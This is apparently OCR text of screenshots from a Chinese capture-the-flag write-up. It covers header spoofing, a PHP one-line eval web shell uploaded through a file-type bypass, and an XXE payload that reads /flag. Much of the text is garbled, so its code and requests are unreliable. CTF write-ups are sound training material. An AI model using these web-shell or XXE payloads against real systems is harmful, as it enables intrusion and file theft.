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Local
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Client-Ip: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Host: 127.0.0.1

Referer: 127.0.0.1
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Request
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Response
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GET { HTTRP/M .1

Host: 127.0.01

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/S.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/84.0.4147.135 Safan/537.36

Accept:

text/html application/xhtml+xml applicationfxml;q=0.9 imagefwebp image/apng,*™; q=0.8,
application/signed-exchange;vw=hb3;q=0.9

X-Forward-Faor: 127.0.0.1

Referer: 127.0.0.1

Client-lp: 127.0.0.1

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM,zh;g=0.9

Cookie:
session=5741d8c7-2197-481k-a7 10-hab7 1he29eae. NKJIRPTNgfliWBidhJKOuGHai Qs
Connection: close

Flag not found

Hh A A

302 JE [f]

//flag.php
<?php

header('Flag: '.base64_encode("s3c{@H_mY_god_its_404}")); //152¢ X-Powered-By /7.
header('location:404.php');

?>

HTTF/1.1 200 OK

Server: nginx/1.18.0

Date: Sun, 22 Nov 2020 09:46:14 GMT
Content-Type: text/html; charset=utf-8
Connection: close

¥-Powered-By: PHP/7.3.22
Caontent-Length: 27

sic{ylu_reQueSt_1t_10CalLy}



//464.php

<h1>Not Found</h1>

<l-- A8 -->

<?php

@header("http/1.1 404 not found");

@header("status: 404 not found");

echo "<p>The requested URL /flag.php was not found on this server.</p>";

exit();
?>
figt 8 7 3
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Not Found
The requested URL /flag.php was not found on this server. h
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(] Disable cache | Online v + 3

(] Hide data URLs [} XHR JS CSS Img

300 ms

Media Font Doc WS Mani

200 ms 400 ms 300

¥  Headers Preview Response nitiator Cookies

Remote Address: 106.15.250.31:18301

Timing

Referrer Policy: no-referrer-when-downgrade

¥ Response Headers view source
Connection: keep-alive

Content-Type: text/html; charset=UTF-8

Server: nginx/1.18.8
Transfer-Encoding: chunked

X-Powered-By: PHP/7.3.22

T EpA] k15 flag

\php\php7.4.3nts\php.exe D:\phpstudy

_pro\WWW\www\1.php
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finished with exit
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http://49.234.89.193:8088/
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answer1&submits=%EG%EF %90%E4%BAY AL

MR EA 2 dieil H

if(!isset($ _POST[ 'submits']))
die("/b 7 FZRVEW . . AFIFEEIE");

5 it Payload, IT{#ATR LH W5
# -*- coding: utf-8 -*-

@Time : 2020/11/22 18:14

@Auth : gyy
@File : 1.py
@Blog: http://error.top

import requests
url = "http://49.234.89.193:8029/"
session = requests.session()
data = {
"submits" : "#ER"
response = session.get(url).content.decode( 'utf-8")

print("l----------oomooooon ")
cal = response.replace(” " , "").replace("\n" , "").replace("\r" , "").split("<b>")[1].split("=")[0]

print(cal)
P (2 HEHEA")

result = eval(cal)
print(result)

print("3---------oomooooon ")
data[ 'answer'] = result

res = session.post(url, data= data)

print(res).content.decode('utf-8")



"").replace( ).s < J[1].split("=")[0]
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vim index.php

vim index.php

roo .index.php.swp

2-centos 1]#

.index.phg

da : Sun

S1/ind php
host

name: VM-0-12-centos

running)
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-r index.php"
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username=admin&pazzword=a599ac85a73384ee3219fa684296€2262667238d608efa81837030bd1celbfo4
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LOAD SPLIT EXECUTE TEST -~ sQLl - XS8§ -~ LFI - SSTI -~ ENCODING -~

URL
http://49.234.89.193:9999/

Enable POST application/x-www-form-urlencoded v ADD HE

pazzword=a599ac85a73384ee3219fa684296eaab62667238d608efa81837030bd1ce1bf04&username=a
dmin

Lo N 257 RF TR, BiAHrobots i, 719 /robots.txt
& C A =% | 49.234.89.193:9999/robots.txt

# robots. txt

User-agent: #*

Disallow:

Disallow: /kin/

Sitemap: http://domain. com/sitemap. xml
lead node:/rfo/bfofa/t/s/1. phy

n]{3flag”E./rlo/b/o/alt/s/1.php

< C A TZ=2| 49.234.89.193:9999/r/o/b/o/a/t/s/1.php
EHL%%)\DLHMEE@DE BEHRREREIXER
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<?php @eval($_POST[gyy])?>
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<script language='php'>@eval($_POST[gyy]);</script>
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Request

J Raw T Params I Headers I Hex ]

POST/ HTTR/M 1

Host: 49.234.89.193:21024
Content-Length: 342
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://49.234.89.153:21024

Chrome/84.0.4147.135 Safari/a37.36
Accept:

d-exchange;v=h3;q=09

Referer: http://49.234.89.193:21024/

Accept-Encoding: gzip, deflate
Accept-Language: zh-CM,zh;g=0.9

Connection: close

------ WeblKitFormBoundaryRThrQEPDpdYPsyJ3
Content-Type: image/jpeg

—————— WebKitFormBoundaryRThrQEPDpdYPsyJ3
Content-Disposition: form-data; name="upload"

upload
—————— WebKitFormBoundaryRThrQEPDpdYPsyJ3--

Bean v

Request

Raw | Params | Headers | Hex

<script language="php>@eval(5_POST['gyy]); </script>

Content-Type: multipart/farm-data; boundary=---WebKitFormBoundaryRThrGEPDpdYPsyJ3
User-Agent: Mozilla/s.0 (Windows NT 10.0; WinG4, xB4) Apple\WebKit/537.36 (KHTML, like Gecko)

text/html application/xhtml+xml application/xml;q=0.9 imagefwebp image/apng ™™ g=0.8 application/signe

Cookie: loginstate=true; userid=h82a3270-edd3-4458-9c2-80c2d01cas7e; indent_type=space;

space_units=4; keymap=sublime; pma_lang=zh_CHN; wp-editormd-lang=zh-CN,;

PHPSESSID=55c1e6a6d7 aaBbadi96.8123606fcd;
session=64930105-h850-4e0d-82a0-h070feB5905h.20nx 23z TewJ5 29K _havQrkWCDg

Content-Disposition: form-data; name="upload_file"; filename="1jpg"

Response

Raw | Headers | Hex | HTML | Render

SOST/HTTRA A

Host: 49.234.89.193:21024

Content-Length: 339

Cache-Contral: max-age=0

Jpgrade-Insecure-Requests: 1

Drigin: http:/f49.234.89.193:21024

Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryRThrQEPDpdYPsyJ3
Jser-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) Apple\WebKit/537.36 (KHTNL, like Gecka)
Chrome/84.0.4147 135 Safari/537 .36

Accept:

ext/htrl application/xhtml-+xmlapplicationfxml; g=0.9,imagefwebp image/apng */*;q=0 8 application/signe
d-exchange;v=hb3;=0.9

Seferer: http://49.234.89.193:21024/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: loginstate=true; userid=b82a3270-edd3-4458-9:2+80c2d01 ca57 e; indent_type=space;
space_units=4, keymap=sublime; pma_lang=zh_CN; wp-editormd-lang=zh-CHN;
SHPSESSID=95c1&6a6d7 aabfb ad096e8123606fc dJ;
session=64930105-h850-4e0d-82a0-b07 0fe85905h 20nx 23z Tewd5z9KW_hquQrkw CDy

Connection: close

------ WebKitFormBoundaryRThrQEPDpd Y PsyJ3

Content-Dis retsemsemegata; name="upload_file"; ﬁlenamF"1 phtml” I

T

Server: Apache/2.4.25 (Dehian)
¥-Powered-By: PHP/S.6.40

Vary: Accept-Encoding

Content-Length: 965

Connection: close

Content-Type: text/html; charset=UTF-8

<ldoctype htmi=
<html lang="en">
<head>

<meta charset="UTF-8">

<meta name="viewporn"

content="width=device-width, user-scalable=no, inttial-scale=1.0, maximum-scale=1.0,

minimum-scale=1.0">

<meta http-equiv="¥-UA-Compatible" content="is=edge">

<title=Upload </title>

<script type="text/javascript” src="./|s/main Js"></script>
</head>
<hody style="background-size: cover” background="hg.jpg">

<hl style="color, #F0000" align="center"> 3k L H</h>
<p align="center" style="color: crimson">/h X408 —Sk AL, g, <ip>



CUntent-TypI image/gif I

<script language="php'>@eval(§_POST['gyy | </script>
------ WebKitFormBoundaryRThrOEFDpdYPsyJ3
Content-Disposition: form-data; name="upload"

Jpload
------ WebKitFormBoundaryRThrQEPDpdY PsyJ3-

R LA content-type, MIMESSTR i,

N EZ SR KR phpfE T I S A AT LA
XHEENA BE*JT’.php,.php3,.php4,.php5
MIMEZE TR 1] R L VF image/gif

(in_arra
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html
head>«< /head
body></body> == $@
JShtml

RIARRDBEHAT T, HIEZRWE)E
O B#¥yIE (19)

=

+

var
bin
boot
dev
etc
home
lib
libc4

media

FEEEREEREREEOREON-

mnt

BN image/gif

<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()" style="text-align:
center'=

<input class="input_file" type="file" name="upload_fil" />

<input class="button” type="submit" name="upload" value="upload"/>
</form=>

<fbody=
</html>

<bf> :’uploddIhZB453Uh9dZE3Ediﬁa4eﬁBZ315ccac3 phtml</di

49.234.89.193:21024/uplo4d/b284530b9d2636c66ad4e6f32315ccac3.phtml

% . get shell

< [ 3cHdik (22)

ole Sources MNetwork

Oz -

;oo bl

B TR

home
lib
lib64
media
mnt
opt

proc

rovnd

Performance Memory Application Security Lighthouse

s TR e R T LI T

H &

2018-10-2
2019-01-2
2020-11-1
2019-01-2
2019-01-2
2019-01-2
2020-11-1

MNHAONAD



i opt —— —
[ O run 2020-11-1
M oot 3O sbin 2020-11-1
M un O s 2019-01-2
| sbin 0O sys 2020-11-1
. sy O tmp 2020-11-2
B sys 03 usr 2019-01-2
m tmp O wvar 2019-01-2.
. usr [ .dockerenv 2020-11-1
clean.sh 2020-11-1
[Q flag 2020-11-1
E I 53lE
R H % & Biflag
™ RiE: /flag

[flag
1 s3c{hew DeyoU Uplo4D file?}
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XML External Entity
H R i b
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T T E %5 phpinfo, JEACHYA R

pouy» == po
hl align="center"> WTiTHXFF, XS5, T8 MHE /N1
¢l-- hint below --»

Footwle twne="tawt i rcs fetwle
JEHB A I

SimpleXMLElement.php dom.php index.php simplexml load string.php

HEIGEPAT T system("1s");

<!-- hint below --=

phpinfo()

log.csdn.net/solution123

SRR R SR R o T 15T, dom.php « SimpleXMLElement.php « simplexml_load_string.php 7] filt x XXEJwIA, H Ak H
R X = ARG o 47 15 HIXXE SR IR B A T L B R — F
FEfPayload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [

<IELEMENT name ANY >

<IENTITY xxe SYSTEM "file:///flag" >]>
<root>

<name>&xxe;</name>

</root>



Request

Raw | Params | Headers | Hex | XML

Response

Raw | Headers | Hex

[3ET /dom.php HTTP/1.1

Host: 49.234.89.193:24358

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/537 .36 (KHTML, like Gecka)
Chrome/84.0.4147 135 Safari/537.36

Accept:

text/html application/xhtml+xml application/xml;q=0.9 imagefwebp imagefapng ™ q=0.8 application/signe
d-exchange;v=h3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM,zh;q=0.9

Cookie: loginstate=true; userid=h82a3270-edd3-4458-9c2-80c2d01cas7e; indent_type=space;
space_units=4; keymap=sublime; pma_lang=zh_CHN; wp-editormd-lang=zh-CN;
PHPSESSID=95c1e6a6d7 aabfEad096e8123606fcdI;
session=64930105-b850-4e0d-82a0-b070fe85905h. 20nxZ3z TewJ5z9KW_havQrkWCDg
Connection: close

Content-Length: 155

L

<?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE xxe [

<IELEMENT name ANY =

<IENTITY xxe SYSTEM "file:/ifflag" =]=
<root>

<pame=&xxe; </name>

</root=

v

Heszim vy A BN — A s AR A5 AE .

MISC
5 RHE=R
H R AT

ERAERMRTIEOR, A LR 51 8 0] LLA B S D AR
sk, REAFAER, B S

figt 1875 X
fIOFTIERR, —IEEMER

18220209100 31H, RFCHEFTH IEX XM S 22> ?

[encoding] == utf8
[xmlEncoding] == utf8
[standalone] == 1
[xmiStandalone] == 1
[version] == 1.0
[xmIVersion] => 1.0
[strictErrorChecking] == 1
[documentURI] == /var/www/html/
[config] ==

[formatOutput] ==
[validateOnParse] =>
[resolveExternals] =>
[preserveWhiteSpace] == 1
[recover] ==
[substituteEntities] =>

[nodeValue] ==
[nodeType] =>9
[parentNode] =>

Tos #4
] => #doc

[childNodes] == (object value omitted)

[firstChild] == (object value omitted)
[lastChild] == (object value omitted)
[previousSibling] ==

[nextSibling] ==

[attributes] =>

[ownerDocument] ==
[namespaceURI] =>

[prefix] ==

[localName] =>

[haseURI] == ~var/www/html/

I s3c{xxe_XXe_cve_teRrible} I

)
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# , Internet standards »

Internet-Drafts

RFCS Intellectual property

Memos in the RFC document series contain technica g
organizational notes about the Internet. Standards process

RFCs cover many aspects of computer networking, including protocols, INTERNET STANDARDS
procedures, programs, and concepts, as well as meeting notes, opinions, and
sometimes humor. Below are links to RFCs, as available from ietf.org and from
rfc-editor.org. Note that there is a brief time period when the two sites will be
out of sync. When in doubt, the RFC Editor site is the authoritative source page.

RFCs
Internet-Drafts
Intellectual property rights

Standards process
RFCs associated with an active IETF Working Group can also be accessed from
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+ A text index of RFCs is available on the IETF web site here: RFC Index (Text).

+ To go directly to a text version of an RFC, type https//www.ietforg/rfc/rfcNNNN.txt into
the location field of your browser, where NNNN is the RFC number.
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View hint
[® @] | Elements Console Sources Network Performance  Memory  Application  Security  Lighthouse  HackBar - T
<html> Styles Computed  Event Listeners %
» chead>..</head>
¥ <body> Filter thov .els + =
<p align-"center">do you know my id></p>
<br>

element.style {
» cform

i
id” method="post” action="./id.php" enctype>..c/form>
v<p align-"right">

input:not([type="image user agent stylesheet
Do
<input type="button" onclick="window.location.href="./id/length/is/11/hint.php'" value="View hifit"|disabled) =fl 56
</p> }
</body>
</html>

box-sizing: border-box;

input[type="button” user agent stylesheet
i]:disabled {
color: -internal-Light-dark(
B rgba(16, 16, 16, 6.3), (1]

F1 T 2 nidisablebrs
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[w ﬂ Elements Console Sources MNetwork Performance Memory Applical

<html>
<head></head>
» ¥ chody> == 58
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#include <stdio.h>

int main()
{
FILE *fp;
fp=fopen("code","r");
int i=0;
char al,a2;
do
{
al=fgetc(fp);
a2=fgetc(fp);
if(al=='0"'&R&a2=="1")
printf("1");
if(al=="1'&R&a2=="0")
printf("e");
twhile(al&&a2);
putchar('\n');
fclose(fp);
return 0;

}
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Header position |bottom |
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char frSignature[4]
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